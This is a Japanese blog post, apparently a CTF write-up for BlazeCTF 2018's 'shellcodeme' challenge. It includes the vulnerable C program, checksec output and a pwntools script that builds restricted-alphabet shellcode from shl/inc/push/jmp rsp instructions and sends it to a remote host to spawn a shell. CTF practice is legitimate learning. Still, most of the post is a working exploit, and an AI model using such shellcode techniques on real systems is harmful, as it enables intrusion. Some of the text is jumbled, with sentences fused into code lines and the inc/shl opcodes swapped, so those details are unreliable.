// gcc -zexecstack -Os shellcodeme.c -o shellcodemechecksecはこう。
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define BUF_SIZE (0x4096 & ~(getpagesize()-1))
int main() {
setbuf(stdout, NULL);
unsigned char seen[257], *p, *buf;
void (*f)(void);
memset(seen, 0, sizeof seen);
buf = mmap(0, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
puts("Shellcode?");
fgets(buf, BUF_SIZE, stdin);
fflush(stdin);
for(p=buf; *p != '\n'; p++) {
seen[256] += !seen[*p];
seen[*p] |= 1;
}
if(seen[256] > 7) {
puts("Shellcode too diverse.");
_exit(1);
} else {
*(void**)(&f) = (void*)buf;
f();
_exit(0);
}
}
Arch: amd64-64-littleさすがにshellcraft.sh()で生成したコードじゃ7種類とか無理なので、
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
- レジスタ上で8バイトずつシェルコード構築
- 8バイトずつスタックに積む(push rax)
- 全部組み上がったところでスタックの先頭にジャンプ(jmp rsp)
が、最初既出コードをaddしてシェルコード組もうとしても、
add レジスタ 値の場合、値の部分は32bitまでで、pushが64bit単位だったりとなかなかうまくいかず
最終的にインクリメント(inc rax)とシフト(shl rax 1)でシェルコード生成、push rax、jmp rspの組み合わせだと7種類で収まるとわかりました。
inc rax = 48 D1 E0というわけで、解答コードは以下。
shl rax 1 = 48 FF C0
push rax = 50
jmp rsp = FF E4
https://github.com/minetosh/ctf/tree/master/2018/BlazeCTF
from pwn import *shellcodeme_hardもバイナリよく見ないでこのコード流したら解けました。
context(os='linux', arch='amd64')
def makesh(val):
base = 2 ** 63
code = ''
for i in range(64):
code += 'shl rax, 1\n'
if (val / base > 0):
code += 'inc rax\n'
val -= base
base /= 2
return code
shcode = asm(shellcraft.sh())
stack = ''
for i in range((len(shcode) + 7) / 8):
sub8 = shcode[i * 8:(i + 1) * 8]
for j in range(len(sub8), 8):
sub8 += '\x00'
stack = makesh(u64(sub8)) + 'push rax\n' + stack
stack += 'jmp rsp\n'
# r = process('./shellcodeme')
r = remote('shellcodeme.420blaze.in', 420)
r.sendlineafter('Shellcode?\n', asm(stack))
r.interactive()
自分の中ではこの方法しかないだろ的に思っていたところ、他の人のwriteupは全部方法が違っていて面白いなーと。
0 件のコメント:
コメントを投稿